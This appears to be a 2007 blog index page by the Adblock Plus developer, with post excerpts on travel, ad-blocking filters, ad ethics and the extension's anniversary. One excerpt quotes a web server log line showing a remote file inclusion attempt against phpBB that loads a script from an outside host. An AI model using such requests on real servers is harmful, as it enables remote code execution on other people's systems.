Adblock Plus and (a little) more
Getting back to Oslo · 2007-03-01 12:41 by Wladimir Palant
I already left Darmstadt and I am on my way back to Oslo now. The unpleasant surprise is that Germanwings no longer flies to Oslo. I have no idea why they stopped serving this direction in the middle of the season — I couldn’t find it mentioned anywhere, there are just no more flights between Cologne and Oslo (the webpages of both airports confirm this so this isn’t a glitch in Germanwings’ database). That means that I will fly from Düsseldorf with Norwegian which is slightly less convenient. But at least I will spend a few more days in Cologne.
Filterset.G - I call "bullshit" · 2007-02-13 15:01 by Wladimir Palant
I stumbled upon the Filterset.G article in Wikipedia and noticed that G recently edited it adding some “facts”. The most ridiculous one is: “There are approximately 1.5 million users of Filterset.G”. And these statistics are supposed to back it up. From the look of it G simply took the absolutely meaningless number of sites per month.
Anti-spam protection in the comments · 2007-02-05 12:22 by Wladimir Palant
A few days ago this blog was hit by the first automated comment spam attack since I installed it. I stopped the immediate attack by banning the spammer’s email address, but now I added proper anti-spam protection similar to what is used in the forum to prevent the same thing from happening again. If you notice any issues adding comments please send me a mail.
Mozilla hurting Google by recommending Adblock Plus? · 2007-02-01 15:12 by Wladimir Palant
Quite a few blogs picked up the idea that there is something strange about Mozilla recommending Adblock Plus. They quote Mozilla’s financial statement saying that Mozilla earned $50 million in 2005 from search engine cooperation (mostly Google though at least Yahoo contributed as well) which is indirectly income from advertisements.
Recognizing third-party content · 2007-01-31 16:07 by Wladimir Palant
I have done all the preparation work so that now I can finally implement the $third-party filter option allowing to restrict filters to third-party or same-party content. This would be used for filters like */banners/*$third-party — if some webmaster is crazy enough to call the directory with site logos “banners” those still won’t be blocked. This filter will only block something coming from the directory “banners” on a different server.
The Sorry State of Online Advertising · 2007-01-31 00:18 by Wladimir Palant
Advertising online is at an all-time low. Users are constantly bombarded by advertisements that seem to be getting larger and more visually obtrusive by the minute. Online advertisements seem to have little or nothing to do with the site’s content and lack any sense of respect for the user. Even though it is a well-known fact that internet users detest ads, the same horrendous model is shoved down their throats. It is as if site creators have just accepted that the advertising status quo is the only way to generate ad revenue and they expect that the users will have to “deal with it”.
Read The Sorry State of Online Advertising by P.J. Onori.
Anatomy of ads · 2007-01-25 18:57 by Wladimir Palant
I would like to take a look at the different costs connected to ads. Most of the time, the only cost people consider is our attention — ads are designed to be distractive, they don’t let us concentrate on what we are doing. Jeff Atwood analyzed the space occupied by ads in comparison to content on a particular page and came to alarming results. I want to pick another page to look at the other aspects.
A World of Endless Advertisements · 2007-01-22 03:29 by Wladimir Palant
Jeff Atwood wrote an interesting article on the craziness of internet advertising. I’m not commenting on it yet so just read it yourself: A World of Endless Advertisements. Don’t forget to read the comments. Some of my own thoughts on this topic: Ethics of blocking ads – part 3
Running a web server is dangerous · 2007-01-17 15:57 by Wladimir Palant
I guess some of you run a web server. Maybe you have noticed entries like this one in your logs:
"GET /forum/admin/admin_styles.php?phpbb_root_path=http://some.server.name/0wn/mail.txt?%5d\r HTTP/1.1" 302 5 "-" "-"
Happy Birthday Adblock Plus! · 2007-01-17 07:00 by Wladimir Palant
Do you remember? The very first Adblock Plus 0.6 came out one year ago (at least if you don’t count mcm’s Adblock Plus which was a very different extension). Since then we had 18 releases and almost three million downloads on addons.mozilla.org. The support forum currently counts 249 members (mind you, registration is not mandatory) and over 1000 threads with almost 9000 posts. Altogether this site had over 1 million visits in the 7 months that it existed. That’s some numbers one doesn’t need to be ashamed of.